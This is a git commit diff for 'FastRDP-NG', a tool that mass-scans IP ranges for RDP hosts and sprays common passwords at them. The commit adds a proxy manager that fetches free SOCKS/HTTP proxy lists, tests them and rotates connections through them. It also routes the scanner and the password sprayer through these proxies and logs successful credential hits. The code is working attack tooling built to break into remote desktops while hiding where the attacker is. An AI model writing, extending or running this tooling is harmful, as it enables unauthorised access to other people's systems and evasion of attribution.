Added proxy integration: ProxyManager module with SOCKS5/HTTP support, proxy tab in GUI with fetch/test/rotate/on-off toggle, proxy routing for scanner connections and password spray

This commit is contained in:
drjones
2026-05-05 22:38:50 -07:00
parent 2f6d989539
commit ef91f8219b
4 changed files with 712 additions and 20 deletions

View File

@@ -1,6 +1,7 @@
"""
FastRDP-NG: RDP Password Sprayer.
Tries top common passwords against live RDP hosts using subprocess.
Supports optional proxy routing via ProxyManager.
"""
import asyncio
@@ -8,7 +9,7 @@ import logging
import os
import subprocess
import time
from typing import List, Tuple, Set
from typing import List, Tuple, Set, Optional
logger = logging.getLogger("FastRDP-NG")
@@ -39,9 +40,12 @@ async def spray_password(
username: str,
password: str,
timeout: float = 5.0,
proxy_manager=None,
) -> Tuple[str, int, str, str, bool]:
"""
Try a single credential pair against an RDP host.
Supports optional proxy routing via proxy_manager.
Attempts to find rdpthread.exe in common locations, then
falls back to RDP banner detection (connectivity check only).
@@ -81,11 +85,14 @@ async def spray_password(
pass
# Fallback: RDP banner check (confirms RDP service is running)
# NOTE: Actual authentication requires CredSSP/NLA which needs
# a proper RDP client library. This fallback only detects open RDP ports.
# When proxy is enabled, route through proxy
open_conn = asyncio.open_connection
if proxy_manager and proxy_manager.enabled:
open_conn = proxy_manager.open_connection
try:
reader, writer = await asyncio.wait_for(
asyncio.open_connection(ip, port),
open_conn(ip, port),
timeout=2.0
)
try:
@@ -113,12 +120,14 @@ async def spray_all_hosts(
passwords: List[str] = None, # type: ignore
max_concurrent: int = 100,
timeout: float = 5.0,
progress_callback=None
progress_callback=None,
proxy_manager=None,
) -> List[Tuple[str, int, str, str]]:
"""
Spray top passwords across all live hosts.
Tries 1 password per host, then moves to next password.
This avoids account lockouts and finds weak passwords fast.
Supports optional proxy routing.
Returns list of (ip, port, username, password) successful hits.
"""
@@ -137,7 +146,7 @@ async def spray_all_hosts(
nonlocal attempts
async with sem:
_, _, u, p, success = await spray_password(
ip, port, user, pwd, timeout
ip, port, user, pwd, timeout, proxy_manager=proxy_manager
)
attempts += 1
if success:
@@ -161,11 +170,9 @@ async def spray_all_hosts(
))
# Execute this password batch before moving to next password
# This lets us see hits faster
if tasks:
await asyncio.gather(*tasks, return_exceptions=True)
if hits:
# Found hits! Write immediately
_write_hits(hits)
tasks = []
@@ -186,11 +193,13 @@ async def spray_single_host(
passwords: List[str] = None,
max_concurrent: int = 50,
timeout: float = 5.0,
hit_callback=None
hit_callback=None,
proxy_manager=None,
) -> List[Tuple[str, int, str, str]]:
"""
Spray ALL passwords against a SINGLE host immediately.
Called as soon as a host is discovered — no need to wait for full scan.
Supports optional proxy routing.
hit_callback(ip, port, user, password): called on each successful hit.
Returns list of (ip, port, username, password) hits.
@@ -206,7 +215,7 @@ async def spray_single_host(
async def try_combo(user: str, pwd: str):
async with sem:
_, _, u, p, success = await spray_password(
ip, port, user, pwd, timeout
ip, port, user, pwd, timeout, proxy_manager=proxy_manager
)
if success:
hits.append((ip, port, u, p))

251
gui.py
View File

@@ -19,6 +19,7 @@ from dataclasses import dataclass
from scanner import scan_ips, RDP_PORTS
from ip_utils import parse_ranges_file, count_ips
from bruteforce import spray_single_host, TOP50_PASSWORDS, TOP_USERNAMES
from proxy import ProxyManager
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
RESULTS_DIR = os.path.join(BASE_DIR, "results")
@@ -89,6 +90,9 @@ class FastRDPGUI:
self.passwords_file = os.path.join(WORDLISTS_DIR, "passwords.txt")
self._metric_labels: dict = {}
self._spray_queue: asyncio.Queue = None
# Proxy manager
self.proxy_manager = ProxyManager()
os.makedirs(RESULTS_DIR, exist_ok=True)
os.makedirs(WORDLISTS_DIR, exist_ok=True)
@@ -162,6 +166,10 @@ class FastRDPGUI:
self.notebook.add(self.tab_results, text=" \U0001f4ca Results ")
self._build_results_tab()
self.tab_proxy = tk.Frame(self.notebook, bg=Colors.BG_DARK)
self.notebook.add(self.tab_proxy, text=" \U0001f310 Proxy ")
self._build_proxy_tab()
self.tab_settings = tk.Frame(self.notebook, bg=Colors.BG_DARK)
self.notebook.add(self.tab_settings, text=" \u2699 Settings ")
self._build_settings_tab()
@@ -412,7 +420,242 @@ class FastRDPGUI:
)
self.good_text.pack(fill="both", expand=True)
# ── TAB 3: SETTINGS ────────────────────────────────────
# ── TAB 3: PROXY ────────────────────────────────────────
def _build_proxy_tab(self):
"""Build the proxy management tab."""
# ── Top controls ──
ctrl_frame = tk.Frame(self.tab_proxy, bg=Colors.BG_MID, height=50)
ctrl_frame.pack(fill="x")
ctrl_frame.pack_propagate(False)
# Master on/off toggle
self.proxy_enabled_var = tk.BooleanVar(value=False)
self.proxy_toggle = tk.Checkbutton(
ctrl_frame,
text="\U0001f6e1 PROXY ON",
variable=self.proxy_enabled_var,
fg=Colors.GREEN, bg=Colors.BG_MID,
selectcolor=Colors.BG_DARK,
activebackground=Colors.BG_MID,
activeforeground=Colors.GREEN,
font=("Segoe UI", 12, "bold"),
command=self._on_proxy_toggle
)
self.proxy_toggle.pack(side="left", padx=15, pady=5)
# Auto-rotate toggle
self.proxy_rotate_var = tk.BooleanVar(value=True)
tk.Checkbutton(
ctrl_frame,
text="\U0001f504 Auto-Rotate",
variable=self.proxy_rotate_var,
fg=Colors.TEXT, bg=Colors.BG_MID,
selectcolor=Colors.BG_DARK,
activebackground=Colors.BG_MID,
activeforeground=Colors.ACCENT,
font=("Segoe UI", 9, "bold"),
command=self._on_rotate_toggle
).pack(side="left", padx=10)
# Buttons
self.fetch_btn = ttk.Button(ctrl_frame, text="\U0001f4e1 Fetch Proxies",
command=self._fetch_proxies)
self.fetch_btn.pack(side="left", padx=5)
self.test_btn = ttk.Button(ctrl_frame, text="\U0001f50d Test All",
command=self._test_proxies, state="disabled")
self.test_btn.pack(side="left", padx=5)
self.clear_btn = ttk.Button(ctrl_frame, text="\U0001f5d1 Clear",
command=self._clear_proxies, state="disabled")
self.clear_btn.pack(side="left", padx=5)
# ── Proxy list ──
list_frame = ttk.LabelFrame(self.tab_proxy, text="\U0001f4cb Proxy List", padding=3)
list_frame.pack(fill="both", expand=True, pady=(3, 3))
columns = ("host", "port", "protocol", "alive", "latency", "failures")
self.proxy_tree = ttk.Treeview(list_frame, columns=columns,
show="headings", height=10)
headings = [("host", "IP Address", 160), ("port", "Port", 55),
("protocol", "Type", 70),
("alive", "Alive", 55),
("latency", "Latency", 80),
("failures", "Failures", 65)]
for col, text, width in headings:
self.proxy_tree.heading(col, text=text)
self.proxy_tree.column(col, width=width, anchor="center")
self.proxy_tree.column("host", anchor="w")
scroll_p = ttk.Scrollbar(list_frame, orient="vertical",
command=self.proxy_tree.yview)
self.proxy_tree.configure(yscrollcommand=scroll_p.set)
self.proxy_tree.pack(side="left", fill="both", expand=True)
scroll_p.pack(side="right", fill="y")
# Tag for alive/dead rows
self.proxy_tree.tag_configure("alive", foreground=Colors.GREEN)
self.proxy_tree.tag_configure("dead", foreground=Colors.RED)
self.proxy_tree.tag_configure("testing", foreground=Colors.YELLOW)
# ── Proxy stats ──
stats_frame = tk.Frame(self.tab_proxy, bg=Colors.BG_MID, height=35)
stats_frame.pack(fill="x")
stats_frame.pack_propagate(False)
self.proxy_stats_label = tk.Label(
stats_frame,
text="\U0001f4ca Total: 0 | \u2713 Working: 0 | \u2717 Failed: 0 | Status: idle",
fg=Colors.TEXT_DIM, bg=Colors.BG_MID,
font=("Consolas", 9)
)
self.proxy_stats_label.pack(side="left", padx=10)
# Progress bar (hidden by default)
self.proxy_progress = ttk.Progressbar(
stats_frame, mode="determinate", length=200
)
self.proxy_progress.pack(side="right", padx=10)
# ── Log output ──
log_frame = ttk.LabelFrame(self.tab_proxy, text="\U0001f4dd Proxy Log", padding=3)
log_frame.pack(fill="both", expand=True)
self.proxy_log = scrolledtext.ScrolledText(
log_frame, font=("Consolas", 9), height=6,
bg="#0d1117", fg="#c9d1d9", insertbackground="white",
relief="flat", borderwidth=0
)
self.proxy_log.pack(fill="both", expand=True)
self.proxy_log.tag_configure("info", foreground="#79c0ff")
self.proxy_log.tag_configure("ok", foreground=Colors.GREEN)
self.proxy_log.tag_configure("error", foreground=Colors.RED)
self.proxy_log.tag_configure("system", foreground=Colors.TEXT_DIM)
def _proxy_log(self, msg: str, tag: str = "info"):
ts = time.strftime("%H:%M:%S")
try:
self.proxy_log.insert("end", f"[{ts}] {msg}\n", tag)
self.proxy_log.see("end")
except tk.TclError:
pass
def _on_proxy_toggle(self):
enabled = self.proxy_enabled_var.get()
self.proxy_manager.enabled = enabled
if enabled:
self.proxy_toggle.config(fg=Colors.GREEN,
text="\U0001f6e1 PROXY ON")
self._proxy_log("\U0001f6e1 Proxy routing ENABLED", "ok")
# Auto-fetch if no proxies yet
if not self.proxy_manager.proxies:
self.root.after(100, self._fetch_proxies)
else:
self.proxy_toggle.config(fg=Colors.RED,
text="\U0001f6e1 PROXY OFF")
self._proxy_log("\U0001f6e1 Proxy routing DISABLED", "system")
def _on_rotate_toggle(self):
self.proxy_manager.auto_rotate = self.proxy_rotate_var.get()
self._proxy_log(f"Auto-rotate: {'ON' if self.proxy_rotate_var.get() else 'OFF'}", "system")
def _update_proxy_display(self):
"""Refresh the proxy treeview from manager state."""
for item in self.proxy_tree.get_children():
self.proxy_tree.delete(item)
for p in self.proxy_manager.proxies:
tag = "alive" if p.alive else "dead"
alive_str = "\u2713" if p.alive else "\u2717"
latency_str = f"{p.latency:.0f}ms" if p.alive else "-"
self.proxy_tree.insert("", "end",
values=(p.host, str(p.port), p.protocol.upper(),
alive_str, latency_str, str(p.failures)),
tags=(tag,))
stats = self.proxy_manager.get_stats()
self.proxy_stats_label.config(
text=f"\U0001f4ca Total: {stats['total']} | "
f"\u2713 Working: {stats['working']} | "
f"\u2717 Failed: {stats['failed']} | "
f"Status: {'fetching...' if stats['fetching'] else 'testing...' if stats['testing'] else 'idle'}"
)
self.test_btn.config(state="normal" if stats['total'] > 0 else "disabled")
self.clear_btn.config(state="normal" if stats['total'] > 0 else "disabled")
def _fetch_proxies(self):
"""Fetch proxies from sources in a background thread."""
self.fetch_btn.config(state="disabled")
self.proxy_progress["mode"] = "indeterminate"
self.proxy_progress.start()
self._proxy_log("\U0001f4e1 Fetching proxy lists from sources...", "info")
def worker():
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
try:
count = loop.run_until_complete(
self.proxy_manager.fetch_from_sources(
progress_callback=lambda msg: self.root.after(0, lambda m=msg: self._proxy_log(m, "system"))
)
)
self.root.after(0, lambda: self._proxy_log(
f"\u2705 Fetched {count} unique proxies", "ok"))
self.root.after(0, self._update_proxy_display)
except Exception as e:
self.root.after(0, lambda: self._proxy_log(
f"\u274c Fetch error: {e}", "error"))
finally:
loop.close()
self.root.after(0, lambda: self.proxy_progress.stop())
self.root.after(0, lambda: self.proxy_progress.configure(mode="determinate"))
self.root.after(0, lambda: self.fetch_btn.config(state="normal"))
thread = threading.Thread(target=worker, daemon=True)
thread.start()
def _test_proxies(self):
"""Test all proxies in background thread."""
self.test_btn.config(state="disabled")
self.proxy_progress["value"] = 0
self.proxy_progress["maximum"] = 100
self._proxy_log("\U0001f50d Testing proxies...", "info")
def worker():
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
try:
def progress_cb(done, total):
pct = int((done / total) * 100) if total > 0 else 0
self.root.after(0, lambda v=pct: self.proxy_progress.configure(value=v))
working = loop.run_until_complete(
self.proxy_manager.test_all(
max_concurrent=100,
progress_callback=progress_cb
)
)
self.root.after(0, lambda: self._proxy_log(
f"\u2705 Testing complete: {working} working proxies", "ok"))
self.root.after(0, self._update_proxy_display)
except Exception as e:
self.root.after(0, lambda: self._proxy_log(
f"\u274c Test error: {e}", "error"))
finally:
loop.close()
self.root.after(0, lambda: self.test_btn.config(state="normal"))
self.root.after(0, lambda: self.proxy_progress.configure(value=0))
thread = threading.Thread(target=worker, daemon=True)
thread.start()
def _clear_proxies(self):
"""Clear all proxies."""
self.proxy_manager.proxies.clear()
self.proxy_manager._working.clear()
self.proxy_manager.working_count = 0
self.proxy_manager.failed_count = 0
self.proxy_manager.total_fetched = 0
self._update_proxy_display()
self._proxy_log("\U0001f5d1 Proxy list cleared", "system")
# ── TAB 4: SETTINGS ────────────────────────────────────
def _build_settings_tab(self):
editor_frame = ttk.LabelFrame(self.tab_settings, text="\U0001f4dd Wordlist Editor", padding=8)
editor_frame.pack(fill="both", expand=True, pady=(0, 5))
@@ -811,7 +1054,8 @@ class FastRDPGUI:
connect_timeout=timeout,
banner_check=False,
progress_callback=progress_cb,
live_callback=on_live_host
live_callback=on_live_host,
proxy_manager=self.proxy_manager
)
)
@@ -842,7 +1086,8 @@ class FastRDPGUI:
passwords=passwords,
max_concurrent=50,
timeout=5.0,
hit_callback=lambda i, p, u, pw: self._on_hit_found(i, p, u, pw)
hit_callback=lambda i, p, u, pw: self._on_hit_found(i, p, u, pw),
proxy_manager=self.proxy_manager
)
if not hits:

421
proxy.py Normal file
View File

@@ -0,0 +1,421 @@
"""
FastRDP-NG: Proxy Manager Module.
Fetches free SOCKS5/HTTP proxy lists, tests them, and provides rotating proxy
support for all outbound connections. Integrates with scanner + spray modules.
"""
import asyncio
import logging
import random
import time
from dataclasses import dataclass, field
from typing import List, Optional, Tuple, Callable
import aiohttp
from aiohttp_socks import open_connection as socks_open_connection
from aiohttp_socks import ProxyType, ProxyConnectionError
logger = logging.getLogger("FastRDP-NG")
# ── Proxy sources (free proxy lists from GitHub) ─────────────────────────
PROXY_SOURCES = [
# Proxifly format: JSON array of {ip, port, protocol, ...}
"https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies.json",
# TheSpeedX format: ip:port per line (HTTP)
"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt",
# TheSpeedX format: ip:port per line (SOCKS4)
"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt",
# TheSpeedX format: ip:port per line (SOCKS5)
"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt",
# ProxyScrape format: ip:port per line
"https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&timeout=10000&country=all",
"https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=10000&country=all",
# Monosans format: ip:port per line
"https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/all.txt",
]
# Test URL for proxy verification (fast, reliable endpoint)
PROXY_TEST_URL = "http://httpbin.org/ip"
PROXY_TEST_TIMEOUT = 8.0
# Default credentials for proxy testing (most free proxies don't use auth)
NO_AUTH = ("", "")
# ── How often to refresh from sources (seconds) ──────────────────────────
REFRESH_INTERVAL = 300 # 5 minutes
@dataclass
class ProxyEntry:
"""A single proxy entry with status tracking."""
host: str
port: int
protocol: str # "socks5", "socks4", "http"
alive: bool = False
latency: float = 0.0 # ms
last_tested: float = 0.0
failures: int = 0
username: str = ""
password: str = ""
@property
def proxy_type(self) -> ProxyType:
if self.protocol == "socks4":
return ProxyType.SOCKS4
elif self.protocol == "socks5":
return ProxyType.SOCKS5
else:
return ProxyType.HTTP
@property
def url(self) -> str:
"""Return proxy URL string for aiohttp_socks."""
if self.username:
return f"{self.protocol}://{self.username}:{self.password}@{self.host}:{self.port}"
return f"{self.protocol}://{self.host}:{self.port}"
def __str__(self):
status = "\u2713" if self.alive else "\u2717"
return f"{status} {self.protocol}://{self.host}:{self.port} ({self.latency:.0f}ms)"
class ProxyManager:
"""
Manages a dynamic list of proxies with fetching, testing, rotation.
Thread-safe for use across asyncio event loops.
"""
def __init__(self):
self.proxies: List[ProxyEntry] = []
self._working: List[ProxyEntry] = []
self._rotation_index = 0
self._lock = asyncio.Lock()
# State
self.enabled = False
self.auto_rotate = True
self.testing = False
self.fetching = False
self.last_refresh = 0.0
# Stats
self.total_fetched = 0
self.working_count = 0
self.failed_count = 0
# Session for HTTP requests
self._session: Optional[aiohttp.ClientSession] = None
async def _get_session(self) -> aiohttp.ClientSession:
if self._session is None or self._session.closed:
self._session = aiohttp.ClientSession(
timeout=aiohttp.ClientTimeout(total=15)
)
return self._session
async def close(self):
if self._session and not self._session.closed:
await self._session.close()
# ── FETCHING ──────────────────────────────────────────────────────────
async def fetch_from_sources(
self,
progress_callback: Optional[Callable[[str], None]] = None
) -> int:
"""
Fetch proxy lists from all configured sources.
Returns total number of unique proxies collected.
"""
async with self._lock:
if self.fetching:
return len(self.proxies)
self.fetching = True
try:
session = await self._get_session()
all_proxies: List[Tuple[str, int, str]] = [] # (host, port, protocol)
seen = set()
for source_url in PROXY_SOURCES:
try:
if progress_callback:
progress_callback(f"Fetching: {source_url.split('/')[-1][:40]}...")
async with session.get(source_url, timeout=10) as resp:
if resp.status != 200:
continue
text = await resp.text()
# Parse based on source URL pattern
if "proxifly" in source_url.lower() or source_url.endswith(".json"):
# JSON format: [{"ip":"...","port":...,"protocol":"..."}]
parsed = self._parse_proxifly_json(text)
else:
# Plain text: ip:port per line
parsed = self._parse_plain_text(text)
for host, port, protocol in parsed:
key = (host, port, protocol)
if key not in seen:
seen.add(key)
all_proxies.append((host, port, protocol))
if progress_callback:
progress_callback(f" -> Got {len(parsed)} proxies from {source_url.split('/')[-1][:30]}")
except (asyncio.TimeoutError, aiohttp.ClientError, Exception) as e:
logger.debug(f"Proxy source failed: {source_url[:60]} - {e}")
continue
# Deduplicate and create entries
new_proxies = []
for host, port, protocol in all_proxies:
# Skip duplicates with existing entries
exists = any(
p.host == host and p.port == port and p.protocol == protocol
for p in self.proxies
)
if not exists:
new_proxies.append(ProxyEntry(
host=host, port=port, protocol=protocol
))
self.proxies.extend(new_proxies)
self.total_fetched = len(self.proxies)
if progress_callback:
progress_callback(f"\U0001f4e1 Total: {len(self.proxies)} unique proxies collected")
self.last_refresh = time.time()
return len(self.proxies)
finally:
async with self._lock:
self.fetching = False
def _parse_proxifly_json(self, text: str) -> List[Tuple[str, int, str]]:
"""Parse proxifly JSON format."""
import json
result = []
try:
data = json.loads(text)
if isinstance(data, list):
for entry in data:
ip = entry.get("ip", "") or entry.get("host", "")
port = entry.get("port", 0)
protocol = entry.get("protocol", "socks5").lower()
if ip and port:
# Map protocol names
if protocol in ("socks5", "socks4", "http", "https"):
if protocol == "https":
protocol = "http"
result.append((ip, int(port), protocol))
except (json.JSONDecodeError, ValueError):
pass
return result
def _parse_plain_text(self, text: str) -> List[Tuple[str, int, str]]:
"""Parse 'ip:port' per line format."""
result = []
# Determine protocol from context (will be overwritten by caller)
# We try to autodetect or default to socks5
for line in text.splitlines():
line = line.strip()
if not line or line.startswith("#") or line.startswith("//"):
continue
# Try ip:port format
if ":" in line and not line.startswith("["):
parts = line.split(":")
if len(parts) == 2:
ip, port_str = parts
try:
port = int(port_str)
if 1 <= port <= 65535:
# Default to socks5 (source determines actual type)
result.append((ip, port, "socks5"))
except ValueError:
pass
return result
# ── TESTING ───────────────────────────────────────────────────────────
async def test_proxy(
self,
proxy: ProxyEntry,
test_url: str = PROXY_TEST_URL,
timeout: float = PROXY_TEST_TIMEOUT
) -> bool:
"""
Test a single proxy by making an HTTP request through it.
Returns True if proxy is working.
"""
start = time.time()
try:
# Use aiohttp with ProxyConnector for testing
from aiohttp_socks import ProxyConnector
connector = ProxyConnector(
proxy_type=proxy.proxy_type,
proxy_host=proxy.host,
proxy_port=proxy.port,
username=proxy.username or None,
password=proxy.password or None,
rdns=True
)
async with aiohttp.ClientSession(connector=connector, timeout=aiohttp.ClientTimeout(total=timeout)) as session:
async with session.get(test_url, timeout=timeout) as resp:
if resp.status == 200:
proxy.alive = True
proxy.latency = (time.time() - start) * 1000 # ms
proxy.last_tested = time.time()
proxy.failures = 0
return True
else:
proxy.alive = False
proxy.failures += 1
return False
except (ProxyConnectionError, asyncio.TimeoutError,
aiohttp.ClientError, OSError, ConnectionError):
proxy.alive = False
proxy.failures += 1
return False
finally:
proxy.last_tested = time.time()
async def test_all(
self,
max_concurrent: int = 100,
progress_callback: Optional[Callable[[int, int], None]] = None
) -> int:
"""
Test all untested/failed proxies in the pool.
Returns number of working proxies found.
"""
async with self._lock:
if self.testing:
return self.working_count
self.testing = True
try:
# Test proxies that haven't been tested or have failures
to_test = [
p for p in self.proxies
if not p.alive or p.failures > 0
]
if not to_test:
# Test a random sample if all are already alive
to_test = random.sample(self.proxies, min(50, len(self.proxies)))
total = len(to_test)
tested = 0
working = 0
sem = asyncio.Semaphore(max_concurrent)
async def test_one(proxy: ProxyEntry):
nonlocal tested, working
async with sem:
ok = await self.test_proxy(proxy)
tested += 1
if ok:
working += 1
if progress_callback and tested % 10 == 0:
progress_callback(tested, total)
tasks = [asyncio.create_task(test_one(p)) for p in to_test]
if tasks:
await asyncio.gather(*tasks, return_exceptions=True)
# Update working list
self._working = [p for p in self.proxies if p.alive]
self.working_count = len(self._working)
self.failed_count = len(self.proxies) - self.working_count
return self.working_count
finally:
async with self._lock:
self.testing = False
# ── ROTATION ──────────────────────────────────────────────────────────
async def get_proxy(self) -> Optional[ProxyEntry]:
"""
Get the next working proxy (round-robin if auto_rotate is enabled).
Returns None if no working proxies available.
"""
async with self._lock:
if not self._working:
return None
if self.auto_rotate and len(self._working) > 1:
proxy = self._working[self._rotation_index % len(self._working)]
self._rotation_index += 1
else:
proxy = self._working[self._rotation_index % len(self._working)]
return proxy
def mark_bad(self, proxy: ProxyEntry):
"""Mark a proxy as failed (connection error)."""
proxy.failures += 1
if proxy.failures >= 3:
proxy.alive = False
if proxy in self._working:
self._working.remove(proxy)
self.working_count = len(self._working)
self.failed_count = len(self.proxies) - self.working_count
# ── CONNECTION WRAPPER ────────────────────────────────────────────────
async def open_connection(self, host: str, port: int, **kwargs):
"""
Open a TCP connection through the current proxy.
If proxy is disabled or no working proxies available, falls back to
direct `asyncio.open_connection`.
Returns (reader, writer) - same as asyncio.open_connection.
"""
if not self.enabled:
return await asyncio.open_connection(host, port, **kwargs)
proxy = await self.get_proxy()
if proxy is None:
# No working proxy — fallback to direct
logger.debug("No working proxy available, falling back to direct connection")
return await asyncio.open_connection(host, port, **kwargs)
try:
return await asyncio.wait_for(
socks_open_connection(
proxy_url=proxy.url,
host=host,
port=port,
**kwargs
),
timeout=kwargs.get("timeout", 10.0) if "timeout" in kwargs else 10.0
)
except (ProxyConnectionError, asyncio.TimeoutError, OSError, ConnectionError) as e:
self.mark_bad(proxy)
# Retry with next proxy
logger.debug(f"Proxy {proxy} failed: {e}, trying next...")
return await self.open_connection(host, port, **kwargs)
# ── STATS ─────────────────────────────────────────────────────────────
def get_stats(self) -> dict:
"""Return proxy pool statistics."""
return {
"enabled": self.enabled,
"total": len(self.proxies),
"working": self.working_count,
"failed": self.failed_count,
"fetching": self.fetching,
"testing": self.testing,
"auto_rotate": self.auto_rotate,
"last_refresh": self.last_refresh,
}

View File

@@ -1,12 +1,13 @@
"""
FastRDP-NG: Blazing-fast async RDP scanner.
Connects to thousands of IPs concurrently to find live RDP hosts.
Supports optional proxy routing via ProxyManager.
"""
import asyncio
import logging
import time
from typing import Set, Tuple, List
from typing import Set, Tuple, List, Optional
logger = logging.getLogger("FastRDP-NG")
@@ -21,16 +22,23 @@ RDP_BANNER_SIG = b'\x03\x00'
async def check_rdp_port(
ip: str,
port: int,
timeout: float = 2.0
timeout: float = 2.0,
proxy_manager=None
) -> Tuple[str, int, bool]:
"""
Rapid async TCP connect check.
Supports optional proxy routing.
Returns (ip, port, is_open).
No banner reading - pure connection speed.
"""
open_conn = asyncio.open_connection
if proxy_manager and proxy_manager.enabled:
open_conn = proxy_manager.open_connection
try:
_, writer = await asyncio.wait_for(
asyncio.open_connection(ip, port),
open_conn(ip, port),
timeout=timeout
)
writer.close()
@@ -45,15 +53,21 @@ async def check_rdp_with_banner(
ip: str,
port: int,
connect_timeout: float = 2.0,
banner_timeout: float = 1.0
banner_timeout: float = 1.0,
proxy_manager=None
) -> Tuple[str, int, bool]:
"""
Connect + read initial bytes to confirm it's actually RDP.
Supports optional proxy routing.
Slower but more accurate - catches non-RDP services on 3389.
"""
open_conn = asyncio.open_connection
if proxy_manager and proxy_manager.enabled:
open_conn = proxy_manager.open_connection
try:
reader, writer = await asyncio.wait_for(
asyncio.open_connection(ip, port),
open_conn(ip, port),
timeout=connect_timeout
)
try:
@@ -81,7 +95,8 @@ async def scan_ips(
connect_timeout: float = 2.0,
banner_check: bool = False,
progress_callback=None,
live_callback=None
live_callback=None,
proxy_manager=None
) -> Set[Tuple[str, int]]:
"""
Scan a list of IPs across given ports as fast as possible.
@@ -89,6 +104,7 @@ async def scan_ips(
- progress_callback(checked, total, live_count, rate): called periodically
- live_callback(ip, port): called IMMEDIATELY when a live host is found
- proxy_manager: optional ProxyManager for routing through proxies
Returns set of (ip, port) tuples for live RDP hosts.
"""
@@ -106,7 +122,8 @@ async def scan_ips(
async def check_one(ip: str, port: int):
nonlocal checked
async with sem:
_, p, alive = await checker(ip, port, connect_timeout)
_, p, alive = await checker(ip, port, connect_timeout,
proxy_manager=proxy_manager)
if alive:
live_hosts.add((ip, p))
# Notify immediately — spray can start right away